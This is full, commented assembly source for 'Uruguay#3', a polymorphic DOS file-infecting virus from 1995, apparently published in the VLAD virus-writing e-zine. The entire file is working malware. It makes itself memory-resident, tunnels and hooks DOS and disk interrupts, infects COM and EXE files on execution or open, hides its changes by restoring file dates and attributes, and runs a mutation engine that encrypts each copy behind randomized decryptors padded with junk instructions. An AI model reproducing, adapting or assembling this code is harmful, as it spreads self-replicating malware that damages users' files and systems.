;---------------------------------------------------------------------------;
; Title: Uruguay#3 by F3161 ;
; (c) 1995 Malware Technology ;
; Thanks to Metabolis for the spelling corrections. ;
; Disclaimer: Malware Technology is not responsible for any problems ;
; caused due to assembly of this. ;
;---------------------------------------------------------------------------;
code segment para 'code'
assume cs:code
start: jmp start2
timer equ 046Ch ; at 0:046Ch the lower byte of the system time
; counter is stored
com_start equ 0100h ; at offset 100h a COM-program starts
tunneled_13 dw ?,? ; vector of the tunneled int 13h
old_13 dw ?,? ; original vector of int 13h
tunneled_21 dw ?,? ; vector of the tunneled int 21h
old_24 dw ?,? ; original vector of int 24h
old_2A dw ?,? ; original vector of int 2ah
first_three db 0CDh,020h,? ; original first three bytes of host program
first_int21 db ?,?,?,?,? ; original first 5 bytes of tunneled int 21h
new_three db 0E9h, ?, ? ; first three bytes at the beginning of an
; infected program
is_exe db 0 ; host was an exe-file
exe_launch dw ?,? ; address of the exe-launcher program
verify db ? ; original verify-flag
int13_error db ? ; error flag for virus' int 13h
int21_AX dw ? ; here AX is stored during virus' int 21h
command_com db 'COMMAND'
com_file db '.COM'
exe_file db '.EXE'
file_attr dw ? ; original file attributes of new host
file_size dw ? ; original file size of new host
file_date dw ? ; original date/time of new host
file_time dw ?
start2: cld
call flex1 ; flexible entrypoint
flex1: pop bx ; get offset of flex1
push cs
push bx
mov ah,2
mov si,bx
add si,offset text - offset flex1
; offset off the message
xor ax,ax
mov es,ax
mov cl,es:[timer] ; get lower byte of timer as random
or cl,cl ; is zero ?
jnz no_text ; no then do not show the text
mov ah,2
mov dl,75h ; initial decryption value
in al,61h
or al,3
out 61h,al
next_char1: mov al,0b6h
out 43h,al
mov al,dl
out 42h,al
lodsb ; get one char
out 42h,al
xor al,dl
or al,al ; is zero ?
jz text_end ; yes then this was the end of the text
mov dl,al
int 21h ; print the char on screen
inc cl
wait1: cmp es:[timer],cl
jnz wait1
jmp next_char1 ; show next char
text_end: in al,61h
and al,0fch
out 61h,al
add cl,5ah
wait2: cmp es:[timer],cl
jnz wait2
no_text: push cs
pop es
; Set exe-launcher adress
mov word ptr [bx + offset exe_launch - offset flex1 + 2],cs
mov ax,offset launch_exe - offset flex1
add ax,bx
mov word ptr [bx + offset exe_launch - offset flex1],ax
; Restore first three bytes
mov si,offset first_three - offset flex1
add si,bx
mov di,com_start
movsb
movsw
; Installation check
mov ax,3032h
mov dx,1234h
int 21h
cmp ax,5678h
jnz make_resident
; Restart original programm
pop bx
pop ax
cmp byte ptr [bx + offset is_exe - offset flex1],1
jnz is_com1 ; no host was a com-file
jmp dword ptr cs:[bx + offset exe_launch - offset flex1]
; jump to exe-launcher
is_com1: push ax
mov ax,com_start
push ax
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
retf
make_resident: ; Block Keyboard
mov al,74h
out 43h,al
mov al,0aah
out 41h,al
mov al,0
out 41h,al
; Find last MCB
mov ax,cs
dec ax
mcb_loop: mov ds,ax
cmp byte ptr ds:[0],5Ah
jz last_mcb
add ax,word ptr ds:[3]
inc ax
jmp mcb_loop
; Allocate memory from last MCB
last_mcb: mov ax,13F4h ; ***
shr ax,1
shr ax,1
shr ax,1
shr ax,1
inc ax
sub word ptr ds:[3],ax
; Calculate allocated segment
mov ax,ds
add ax,word ptr ds:[3]
inc ax
; Copy virus to new segment
mov es,ax
pop si
sub si,offset flex1
xor di,di
push cs
pop ds
mov cx,offset virus_length
cld
rep movsb
; startover in new segment
mov cx,offset start_over
push ax
push cx
retf
; startover point here
start_over: call tunnel ; tunnel int 13h and 21h
call patch_21 ; install int 21h
; start original program
pop ax
cld
cmp is_exe,1
mov ds,ax
jnz is_com2
jmp dword ptr cs:[exe_launch]
is_com2: mov es,ax
push ax
push cs
pop es:[2]
mov ax,com_start
push ax
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
retf
; Set int AL vector to DS:DX
set_int_al:
pushf
push bx
push es
mov ah,0
shl ax,1
shl ax,1
mov bx,ax
xor ax,ax
mov es,ax
cli
mov es:[bx],dx
mov es:[bx+2],ds
pop es
pop bx
popf
ret
; Get int AL vector into ES:BX
get_int_al:
pushf
mov ah,0
shl ax,1
shl ax,1
mov bx,ax
xor ax,ax
mov es,ax
cli
les bx,es:[bx]
popf
ret
text DB 78h, 07h, 2Dh, 72h, 27h, 07h, 12h, 12h, 14h, 18h, 54h, 0Eh, 10h, 14h, 07h, 76h
DB 3Fh, 1Bh, 07h, 06h, 7Eh, 07h, 5Ah, 22h, 1Dh, 08h, 15h, 13h, 0Ch, 00h, 08h, 01h
DB 44h, 49h, 07h, 4Eh, 6Dh, 22h, 01h, 1Ah, 11h, 13h, 1Fh, 0Dh, 01h, 0Ah, 4Fh, 08h
DB 7Dh, 07h, 07h, 12h, 12h, 14h, 18h, 70h, 09h, 42h, 1Bh, 59h, 66h, 75h, 02h, 07h
DB 07h, 1Fh, 0Eh, 10h, 06h, 19h, 16h, 0Bh, 1Ch, 23h, 07h, 5Eh, 3Ch, 01h, 1Ah, 53h
DB 49h, 1Ah, 53h, 41h, 41h, 52h, 17h, 16h, 16h, 04h, 13h, 11h, 0Bh, 48h, 56h, 1Fh
DB 1Bh, 07h, 06h, 53h, 0Dh, 0Dh, 64h, 0Bh, 6Fh, 6Eh, 01h, 1Bh, 74h, 64h, 0Dh, 1Ah
DB 07h, 06h, 1Bh, 0Bh, 17h, 01h, 11h, 6Bh, 23h, 07h, 07h, 07h, 0Ah
;----------------------------------------------------------------------
; Tunneler code here
;----------------------------------------------------------------------
tunneled_seg dw ? ; segment of tunneled int
old_vector dw ?,? ; old vector of int to tunnel
old_int01 dw ?,? ; old int 01 vector
tun_success db ? ; tunneling was successful
tunneled_offs dw ? ; offset of tunneled int
tun_AX dw ? ; AX is saved here during int 01
tun_BP dw ? ; BP is saved here during int 01
; the tunnelers int 01 (single-step-interrupt)
tun_int01:
cmp byte ptr cs:tun_success,1 ; was successful ?
jnz tun_goon ; no then try to tunnel now
iret
tun_goon: mov cs:tun_AX,ax ; save registers
mov cs:tun_BP,bp
mov bp,sp
mov ax,[bp+2] ; segment of interrupted routine
cmp ax,cs:tunneled_seg ; after DOS-data area ?
ja no_success ; yes then it is useless
mov cs:tunneled_seg,ax ; else save the segment
mov cs:tun_success,1 ; set success flag
mov ax,[bp+4] ; switch single step mode off
and ax,0FEFFh
mov [bp+4],ax
mov ax,[bp] ; save offset of
mov cs:tunneled_offs,ax ; interrupted routine
no_success: mov ax,cs:tun_AX ; restore registers
mov bp,cs:tun_BP
iret
assume ds:code
; Tunnel int 21h and 13h
tunnel:
mov al,1
call get_int_al ; get int 01 vector
push cs
pop ds
mov old_int01,bx ; and save it
mov old_int01+2,es
mov al,1
mov dx,offset tun_int01
call set_int_al ; set new int 01
mov al,21h
call get_int_al ; get int 21h vector
mov tunneled_21,bx ; and save it
mov tunneled_21+2,es
mov al,21h
call tunnel_al ; tunnel int 21h
cmp cs:tun_success,1 ; was successful
jnz no_succ1 ; no
mov ax,cs:tunneled_offs ; else save result
mov cs:tunneled_21,ax
mov ax,cs:tunneled_seg
mov cs:tunneled_21+2,ax
no_succ1: mov al,13h
call get_int_al ; get int 13h vector
mov cs:tunneled_13,bx
mov cs:tunneled_13+2,es
mov al,13h
call tunnel_al ; tunnel int 13h
cmp cs:tun_success,1 ; was successful
jnz no_succ2 ; no
mov ax,cs:tunneled_offs ; else save result
mov cs:tunneled_13,ax
mov ax,cs:tunneled_seg
mov cs:tunneled_13+2,ax
no_succ2: mov al,1
lds dx,dword ptr cs:old_int01
call set_int_al ; restore old int 01 vector
ret
; tunnel int AL
tunnel_al:
call get_int_al ; get int vector
mov cs:old_vector,bx
mov cs:old_vector+2,es
mov cs:tun_success,0 ; clear success flag
mov ax,1203h
int 2fh ; get DOS-data area segment
mov cs:tunneled_seg,ds
cli
pushf
pop ax
or ax,0100h ; switch single step mode on
push ax
popf
mov ah,0ffh ; just to make sure it runs
mov dl,0 ; trough all instances of
pushf ; the interrupt chain
call dword ptr cs:old_vector ; call the int
pushf
pop ax
and ax,0FEFFh ; switch single step mode off
push ax
popf
sti
ret
db 20 dup (?)
;--------------------------------------------------------------------------
; The infector code
;--------------------------------------------------------------------------
; critical error handler
int_24: mov al,0
iret
; int 13h with error flag
int_13: cmp cs:int13_error,1 ; was already an error ?
jz int13_failed ; yes
pushf ; else call tunneled int 13h
call dword ptr cs:tunneled_13
jb int13_failed ; error
retf 2
int13_failed:
mov cs:int13_error,1 ; set error flag
mov ah,10 ; error code
stc
retf 2
; virus int 21
test1: cmp ax,3032h ; Installation check ?
jnz nothin ; no
cmp dx,1234h ; Installation check ?
jnz nothin ; no
mov ax,5678h ; the magic value
popf
iret
nothin: jmp end_21
; The entry point of int 21h is here
int_21: pushf
sti
mov cs:int21_AX,ax ; save AX
cmp ax,4b00h ; Run a program ?
jz try_it ; Yes
cmp ax,3d00h ; Open a file for reading ?
jnz test1 ; No
call test_exec ; Check if it seems to be executable
jb nothin ; No does not look like executable
try_it: push bx
push cx
push dx
push di
push si
push bp
push ds
push es
call patch_13 ; insert that error flag stuff into int 13h
mov si,dx ; SI := offset of filename
cld
next_char2: lodsb
cmp al,0 ; last char ?
jnz next_char2 ; No, repeat until
dec si
dec si ; SI now points to last char before \0
std
mov di,offset command_com + 10
push cs
pop es
mov cx,11
repz cmpsb ; the filename is 'COMMAND.COM' ?
jnz not_command_com ; no is not
jmp leave_21
not_command_com:
mov cs:is_exe,0 ; clear is_exe flag
mov ax,4300h
call call_old_21 ; get file attributes
mov cs:file_attr,cx
jnb goon1
jmp leave_21
goon1: mov ax,cx
and ax,4 ; system file ?
jz goon2 ; no
jmp leave_21
goon2: cmp cx,20h
jz is_archived
mov ax,4301h ; set new file attributes
mov cx,20h
call call_old_21
cmp cs:int13_error,1
jnz is_archived
jmp leave_21
is_archived: push ds
push dx
mov ax,3d02h ; open file for read/write
call call_old_21
mov bx,ax
mov ax,4202h ; seek to end of file
xor cx,cx
xor dx,dx
call call_old_21
or dx,dx ; file < 10000h ?
jnz close_file ; no
cmp ax,0F400h ; file < 0F400h ?
ja close_file ; no
cmp ax,0200h ; file > 00200h ?
jbe close_file ; no
mov cs:file_size,ax ; save file size
push ax
mov cx,17h
div cx
pop ax
or dx,dx ; filesize MOD 17h = 0 ?
jz close_file ; yes, then seems to be infected
call exe_or_com ; determine whether the file is exe or com
mov ah,40h ; write new first three bytes
mov cx,3
push cs
pop ds
mov dx,offset new_three
call call_old_21
cmp cs:int13_error,1
jz close_file
mov ax,4202h ; seek to 1 Byte after the end
xor cx,cx ; of the file
mov dx,1
call call_old_21
mov ax,cs:file_size
add ax,com_start
mov cs:start_offset,ax ; starting offset for the
; decryptor
call mutate ; the polymorph engine of the uruguay
call round_size ; make file size multiple of 17h
mov ah,40h ; append the virus to the file
mov dx,offset virus_length
push cs
pop ds
call call_old_21
mov ax,5701h ; restore original date/time of file
mov cx,cs:file_date
mov dx,cs:file_time
call call_old_21
close_file: mov ah,3eh ; close the file
call call_old_21
pop dx
pop ds
mov ax,4301h ; restore original file
mov cx,cs:file_attr ; attributes
cmp cx,20h
jz leave_21
call call_old_21
leave_21: call unpatch_13 ; remove the error flag stuff from int 13h
pop es
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
jmp end_21
db 3 dup (?)
call_old_21: call unpatch_21
pushf
call dword ptr cs:tunneled_21
call patch_21
ret
end_21: push bx
push dx
push ds
push es
call unpatch_21 ; uninstall int 21h
mov ax,cs
mov ds,ax
mov al,2ah
call get_int_al ; get int 2Ah vector
mov old_2a,bx ; and save it
mov old_2a+2,es
mov al,2ah
mov dx,offset int_2a
call set_int_al ; set new int 2Ah
pop es
pop ds
pop dx
pop bx
popf
mov ax,cs:int21_AX ; restore AX
jmp dword ptr cs:tunneled_21 ; jump to original int 21h
; This int is allways called by DOS' int 21h
int_2a: push ax
push dx
push ds
call patch_21 ; install int 21h again
mov al,2ah
lds dx,dword ptr cs:old_2a
call set_int_al ; restore old int 2ah vector
pop ds
pop dx
pop ax
jmp dword ptr cs:old_2a ; jump to old int 2ah
; Install the int 21h patch
patch_21: pushf
push ax
push si
push di
push ds
push es
lds si,dword ptr cs:tunneled_21
push cs
pop es
mov di,offset first_int21
cld
movsb ; Save first five bytes of code from
movsw ; tunneled int 21h
movsw
les di,dword ptr cs:tunneled_21
mov al,0EAh
stosb ; insert a JMP FAR there
mov ax,offset int_21
stosw
mov ax,cs
stosw
pop es
pop ds
pop di
pop si
pop ax
popf
ret
; Removes the int 21h patch
unpatch_21: pushf
push si
push di
push ds
push es
push cs
pop ds
mov si,offset first_int21
les di,dword ptr tunneled_21
cld
movsb ; Restore first five byte of tunneled
movsw ; int routine
movsw
pop es
pop ds
pop di
pop si
popf
ret
; Install the int 13h add-on
patch_13: push bx
push dx
push ds
push es
mov ah,54h
call call_old_21
mov cs:verify,al ; Get DOS-verify flag and save it
mov ax,2e00h ; then turn verify off
call call_old_21
mov al,24h
call get_int_al ; Get int 24h vector
mov cs:old_24,bx
mov cs:old_24+2,es
mov al,24h
mov dx,offset int_24
push cs
pop ds ; set new critical error
call set_int_al ; handler (int 24h)
mov al,13h
call get_int_al ; get int 13h vector
mov cs:old_13,bx
mov cs:old_13+2,es
mov al,13h
mov dx,offset int_13
push cs
pop ds
call set_int_al ; set new int 13h
mov cs:int13_error,0 ; clear the error flag
pop es
pop ds
pop dx
pop bx
ret
; Remove the int 13h add-on
unpatch_13: mov ax,cs:old_24+2
mov ds,ax
mov dx,cs:old_24
mov al,24h
call set_int_al ; restore old int 24h
mov ds,cs:old_13+2
mov dx,cs:old_13
mov al,13h
call set_int_al ; restore old int 13h
mov ah,2eh ; restore DOS-verify flag
mov al,cs:verify
call call_old_21
ret
; Determine whether a program is com or exe
; Input: ax = filesize
; is_exe = 0
exe_or_com: dec ax
dec ax ; => filesize - 2
mov word ptr cs:new_three+1,ax ; save jump-in offset
mov ax,5700h ; get file's date/time
call call_old_21
mov cs:file_date,cx ; and save them
mov cs:file_time,dx
mov ax,4200h ; seek to top of file
xor cx,cx
xor dx,dx
call call_old_21
mov ah,3fh ; read first three byte
mov cx,3 ; to buffer first_three
push cs
pop ds
mov dx,offset first_three
call call_old_21
mov di,offset first_three
mov ax,cs
mov es,ax
cmp word ptr es:[di],05A4Dh ; EXE ?
jz exe_is ; Yes
cmp word ptr es:[di],04D5Ah ; EXE ?
jnz com_is ; No it is com
exe_is: mov cs:is_exe,1 ; set is_exe flag
com_is: mov ax,4200h ; again seek to top of file
xor cx,cx
xor dx,dx
call call_old_21
ret
; make the filesize of an infected program a multiple of 17h
round_size: push ax
push bx
push dx
push cx
add cx,cs:file_size ; virus + hosts size
mov ax,cx
xor dx,dx
mov bx,17h
div bx
mov bx,17h
sub bx,dx ; => 17h - (size MOD 17h)
pop cx
add cx,bx ; add the fix-up
dec cx
pop dx
pop bx
pop ax
ret
; test if a file fits into '*.COM' or '*.EXE'
test_exec: push ax
push si
push di
push es
mov si,dx
push cs
pop es
cld
next_char3: lodsb ; load a char
or al,al ; last ?
jnz next_char3 ; no, repeat until
sub si,5
mov di,offset com_file
mov cx,4
push si
push cx
repz cmpsb ; compare with '.COM'
pop cx
pop si
jz executable ; ok is .COM
mov di,offset exe_file
mov cx,4
repz cmpsb ; compare with '.EXE'
jz executable ; ok is .EXE
pop es
pop di
pop si
pop ax
stc ; is neither .COM nor .EXE
ret
executable: pop es
pop di
pop si
pop ax
clc ; ok has a executable extension
ret
;--------------------------------------------------------------------
; The EXE-launcher
;--------------------------------------------------------------------
; This piece of code is run in the PSP-Segment of an infected program
; that once was an exe-file to do the relocation stuff.
launch_exe: call flex2 ; flexible entry point
flex2: pop bx ; get offset of flex2
mov ax,cs
mov ds,ax
mov es,ax
add ax,010h ; right after PSP-Segment
; it is the base segment for relocation
mov cx,ds:[com_start+0Eh] ; initial SS
add cx,ax ; relocate
push cx
mov cx,ds:[com_start+16h] ; initial CS
add cx,ax : relocate
mov word ptr ds:[bx+offset jmp_far- offset flex2 +3],cx
; save into JMP FAR
mov dx,ds:[com_start+10h] ; initial SP
push dx
mov dx,ds:[com_start+14h] ; initial IP
mov word ptr ds:[bx+offset jmp_far- offset flex2 +1],dx
; save into JMP FAR
mov di,ds:[com_start+18h] ; offset of relocation table
mov dx,ds:[com_start+08h] ; size of exe-header
mov cl,4
shl dx,cl ; => byte size of exe-header
mov cx,ds:[com_start+06h] ; number of entries
jcxz no_reloc ; there are no entries
reloc_loop: lds si,cs:[com_start+di] ; load address to relocate
add di,4 ; next entry
mov bp,ds
add bp,cs:[com_start+08h] ; add size of exe-header
add bp,ax ; add base segment
mov ds,bp ; put it back in DS
add word ptr ds:[si],ax ; now relocate there
loop reloc_loop ; do for all entries
no_reloc: push cs
pop ds
mov di,com_start
mov si,dx
add si,di
mov cx,bx
sub cx,si
cld
rep movsb ; delete all the header stuff
pop ax
pop bx
cli
mov ss,bx
mov sp,ax
sti
xor ax,ax
xor bx,bx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
jmp_far db 0EAh, ?,?,?,? ; jump into the program
;--------------------------------------------------------------------
; The Mutation Engine of the uruguay
;--------------------------------------------------------------------
; 10 one-byte dummy instructions
one_byte DB 0F8h ; CLC ; 069B
DB 0FCh ; CLD
DB 0F5h ; CMC
DB 0F9h ; STC
DB 0FBh ; STI
DB 090h ; NOP
DB 042h ; INC DX
DB 045h ; INC BP
DB 04Ah ; DEC DX
DB 04Dh ; DEC BP
; 55 two-byte dummy instructions
two_byte DW 0D003h ; ADD DX,AX ; 06A5
DW 0D303h ; ADD DX,BX
DW 0D103h ; ADD DX,CX
DW 0D203h ; ADD DX,DX
DW 0D603h ; ADD DX,SI
DW 0D013h ; ADC DX,AX
DW 0D313h ; ADC DX,BX
DW 0D113h ; ADC DX,CX
DW 0D213h ; ADC DX,DX
DW 0D613h ; ADC DX,SI
DW 0D503h ; ADD DX,BP
DW 0EA03h ; ADD BP,DX
DW 0D513h ; ADD DX,BP
DW 0EA13h ; ADC BP,DX
DW 000EBh ; JMP $+2
DW 05A55h ; PUSH BP; POP DX
DW 05D52h ; PUSH DX; POP BP
DW 0DAF7h ; NEG DX
DW 0DDF7h ; NEG BP
DW 0DAF6h ; NEG DL
DW 0DEF6h ; NEG DH
DW 0D2F7h ; NOT DX
DW 0D5F7h ; NOT BP
DW 0D2F6h ; NOT DL
DW 0D6F6h ; NOT DH
DW 0D00Bh ; OR DX,AX
DW 0D00Ah ; OR DL,AL
DW 0D2D1h ; RCL DX,1
DW 0D5D1h ; RCL BP,1
DW 0DAD1h ; RCR DX,1
DW 0DDD1h ; RCR BP,1
DW 0E2D1h ; SHL DX,1
DW 0E5D1h ; SHL BP,1
DW 0E2D0h ; SHK DL,1
DW 0E6D0h ; SHL DH,1
DW 0E2D1h ; SHL DX,1
DW 0E5D1h ; SHL BP,1
DW 0EAD0h ; SHR DL,1
DW 0EED0h ; SHR DH,1
DW 0C2FEh ; INC DL
DW 0C6FEh ; INC DH
DW 0CAFEh ; DEC DL
DW 0CEFEh ; DEC DH
DW 0D233h ; XOR DX,DX
DW 0F632h ; XOR DH,DH
DW 0D232h ; XOR DL,DL
DW 0D033h ; XOR DX,AX
DW 0D02Bh ; SUB DX,AX
DW 0D32Bh ; SUB DX,BX
DW 0D12Bh ; SUB DX,CX
DW 0D22Bh ; SUB DX,DX
DW 0D62Bh ; SUB DX,SI
DW 0EA87h ; XCHG BP,DX
DW 0F286h ; XCHG DH,DL
DW 0D686h ; XCHG DL,DH
; 8 three-byte dummy instructions
three_byte DB 26h, 32h, 15h ; ES: XOR DL,[DI] ; 0713
DB 3Eh, 32h, 14h ; DS: XOR DL,[SI]
DB 26h, 33h, 15h ; ES: XOR DX,[DI]
DB 3Eh, 33h, 14h ; DS: XOR DX,[SI]
DB 3Eh, 02h, 14h ; DS: ADD DL,[SI]
DB 3Eh, 03h, 14h ; DS: ADD DX,[SI]
DB 26h, 02h, 15h ; ES: ADD DL,[DI]
DB 26h, 03h, 15h ; ES: ADD DX,[DI]
; SUB/ADD/INC - Counter
counting DB 0BEh ; MOV SI, ; 072B
DB 46h ; INC SI
DB 83h, 0C6h, 02h ; ADD SI,2
DB 81h, 0EEh, 0FEh, 0FFh ; SUB SI,-2
;
DB 0BFh ; MOV DI,
DB 47h ; INC DI
DB 83h, 0C7h, 02h ; ADD DI,2
DB 81h, 0EFh, 0FEh, 0FFh ; SUB DI,-2
;
DB 0BBh ; MOV BX,
DB 43h ; INC BX
DB 83h, 0C3h, 02h ; ADD BX,2
DB 81h, 0EBh, 0FEh, 0FFh ; SUB BX,-2
;
@0746 DB 0B8h ; MOV AX,
DB 0Dh ; OR AX,
DB 05h ; ADD AX,
DB 35h ; XOR AX,
;
@0749 DB 0B9h ; MOV CX,
DB 0C9h ; 81 C9 OR CX,
DB 0C1h ; 81 C1 ADD CX,
DB 0F1h ; 81 F1 XOR CX,
; Segment prefixes
prefixes DB 3Eh ; DS: ; 074E
DB 26h ; ES:
DB 2Eh ; CS:
DB 36h ; SS:
; XOR/ADD/SUB - Encryption
; 1. Byte
first_byte DB 31h, 01h, 29h ; XOR/ADD/SUB ; 0752
; 2. Byte
second_byte DB 04h, 05h, 07h ; SI/DI/BX ; 0755
all_sets db ?
set1 db ?
set2 db ?
set3 db ?
si_di_bx db ?
value dw ?
rand_size dw ?
start_offset dw ?
mov_pos dw ?
xor_sub_add db ?
full_length dw ?
mutate: push ax
push bx
push si
push di
push ds
push es
push cs
pop ds
mov al,32h
call random ; random value
add bx,offset virus_length+2 ; add virus size to it
shr bx,1 ; DIV 2
mov rand_size,bx ; => randomized virus size in words
xor ax,ax
mov es,ax
mov ax,es:[timer] ; get a random value from timer
mov value,ax ; as en/decryption value
push cs
pop es
cld
mov di,offset virus_length ; store the decryptor right
; after the virus
mov set1,0 ; none of the 3 sets used yet
mov set2,0
mov set3,0
; generate init instructions
gen_loop1: mov al,3
call random
call gen_from_set
cmp all_sets,1 ; all sets used
jnz gen_loop1 ; no, repeat until
; now generate somethin like XOR CS:[BX],AX
call rand_instruct
mov al,4
call random ; random value for prefix
push di
mov al,prefixes[bx-1]
stosb
mov al,3
call random ; random value for decryption
mov xor_sub_add,bl ; type
mov al,first_byte[bx-1]
stosb ; store 1. byte
mov bl,si_di_bx
mov al,second_byte[bx-1]
stosb ; store 2. byte
call rand_instruct ; generate dummies
; Now generate the instruction(s) to increase the pointer by 2
; Therefore it chooses between the register used for pointer
; (si_dx_bx) and the method ( inc, add, sub ).
dec bl ; it still holds si_di_bx before this
mov bh,bl
shl bl,1
shl bl,1
shl bl,1
add bl,bh
inc bl ; ( si_di-bx - 1 ) * 9 + 1
mov cl,bl ; save it to cl
mov al,3
call random ; random value for method
mov al,bl
mov bl,cl ; restore from cl
mov bh,0
add bx,offset counting ; add offset of table
cmp al,1
jz case_1 ; method 1
cmp al,2
jz case_2 ; method 2
; method 3 ( SUB reg16,-2 )
add bx,4 ; offset 4 of table entry
mov ax,ds:[bx] ; get the 4 bytes and store them
stosw
mov ax,ds:[bx+2]
stosw
jmp end_branch
; method 2 ( ADD reg16,2 )
case_2: inc bx ; offset 1 of table entry
mov ax,ds:[bx] ; get the 3 bytes and store them
stosw
mov al,ds:[bx+2]
stosb
jmp end_branch
; method 1 ( INC reg16 )
case_1: mov al,ds:[bx] ; get the byte from offset 0 of entry
stosb ; and store it
call rand_instruct ; insert dummies
stosb ; again an INC
; here all methods meet again
end_branch: call rand_instruct ; generate dummies
push di
mov si,offset start
inc di ; leave 2 bytes free for LOOP
inc di
mov cx,rand_size
rep movsw ; put the virus after it
pop di ; offset of LOOP
mov ax,di
pop bx ; offset of prefix-code
sub ax,bx ; offset between them
mov ah,0feh
sub ah,al ; => - (offset+2)
mov al,0E2h ; put LOOP opcode
stosb
mov al,ah ; put offset
stosb
mov si,di
push di
mov ax,start_offset ; starting offset of decryptor
add ax,di ; + offset of loop end
sub ax,offset virus_length+1 ; - (virus length+1)
mov di,mov_pos
stosw ; put it into the pointer init
pop di
; now enccrypt all the stuff
mov cx,rand_size
mov bx,value
mov al,xor_sub_add ; method of decryption
sub si,2 ; also encrypt the LOOP itself
mov di,si
cmp al,1 ; decrypted by XOR ?
jz xor_encrypt ; yes
cmp al,2 ; decrypted by ADD ?
jz sub_encrypt ; yes
jmp add_encrypt ; decrypted by SUB
xor_encrypt: lodsw
xor ax,bx
stosw
loop xor_encrypt
jmp encrypted
sub_encrypt: lodsw
sub ax,bx
stosw
loop sub_encrypt
jmp encrypted
add_encrypt: lodsw
add ax,bx
stosw
loop add_encrypt
; encryption done, now calc the size to write
encrypted: sub si,offset virus_length
mov full_length,si
pop es
pop ds
pop di
pop si
pop bx
pop ax
mov cx,cs:full_length
ret ; back
; This generates the initialisation instructions for the registers used
; in the decryptor. Each time called it generates up to one instruction.
; If all registers are initialisized it sets all_sets to 1
gen_from_set: mov al,set1
and al,set2
and al,set3
mov all_sets,al ; set all_set if all is done
cmp set1[bx-1],1 ; did i already generate from
; this set ?
jnz unused ; No then do it now
ret
unused: mov set1[bx-1],1 ; set used-flag
call rand_instruct ; generate dummy instructions
cmp bl,1
jz c_1 ; use Set 1
cmp bl,2
jz c_2 ; use Set 2
jmp c_3 ; use Set 3
; Set 1
; MOV SI/DX/BX,value16
; for init the pointer
c_1: mov al,3
call random ; random value
mov si_di_bx,bl ; save to remember wich reg is used
dec bl
mov bh,bl
shl bl,1
shl bl,1
shl bl,1
add bl,bh ; ( x - 1 ) * 9
mov bh,0
mov al,counting[bx] ; get one byte from table
stosb ; and store it
mov mov_pos,di ; save the actual position
add di,2 ; and leave 2 bytes free for the value16
ret
; Set 2
; MOV/OR/ADD AX,value16
; for init the decryption value
c_2: mov al,4
call random ; random value
mov al,@0746[bx-1] ; get one byte from table
stosb ; and store
mov ax,value ; and then put the value after it
stosw
ret
; Set 3
; MOV/OR/ADD CX,value16
; for init the counter for decryption
c_3: mov al,4
call random ; random value
mov al,@0749[bx-1] ; get one byte from table
cmp bl,1 ; if it is the move then only write
jz c_3_1 ; one byte else two
mov ah,al
mov al,081h ; first store 081h
stosb
mov al,ah
c_3_1: stosb ; and then the stuff from the table
mov ax,rand_size ; followed by the randomized virus-size
stosw
ret
; generate 2 up to 12 dummy instructions
rand_instruct: push ax
push bx
push cx
mov al,0bh
call random ; random value
inc bl
mov cx,bx ; use as counter
gen_loop: call gen_dummy ; generate a single dummy instruction
loop gen_loop
pop cx
pop bx
pop ax
ret
; Generate one dummy instruction
gen_dummy: push ax
push bx
mov al,5
call random ; Get random value
cmp bl,1
jz byte1 ; generate a one byte instruction
cmp bl,2
jz byte3 ; generate a three byte instruction
; in all other cases generate a two byte instruction
mov al,37h
call random ; random value
dec bl ; -1
shl bl,1 ; *2
mov ax,two_byte[bx] ; get instruction from table
stosw ; and store it
jmp done_dummy
; Generate a three byte instruction
byte3: mov al,8
call random ; random value
dec bl ; -1
mov bh,bl
shl bl,1
add bl,bh ; *3
mov bh,0
mov al,three_byte[bx] ; get instruction from table
stosb ; and store it
mov ax,word ptr three_byte[bx+1]
stosw
jmp done_dummy
; Generate a one byte instruction
byte1: mov al,0ah
call random ; random value
dec bl
mov al,one_byte[bx] ; get from table
stosb ; and store it
done_dummy: pop bx
pop ax
ret
save_rand dw 0784h
; Get a random value
; Input: AL = upper border
; Output: AL = BX = random value
; 0 < random value <= upper border
random: push si
push ds
push ax
mov ax,save_rand
cmp ax,1f40h
jb goon_rand
xor ax,ax
mov save_rand,ax
goon_rand: mov si,ax
mov ax,0fc00h
mov ds,ax
pop bx
lodsb
normalisize: cmp al,bl
jb rand_ok
sub al,bl
jmp normalisize
rand_ok: inc al
mov bl,al
mov bh,0
pop ds
pop si
add save_rand,bx
ret
; here is the end
public virus_length
virus_length:
code ends
end start
- VLAD #5 INDEX -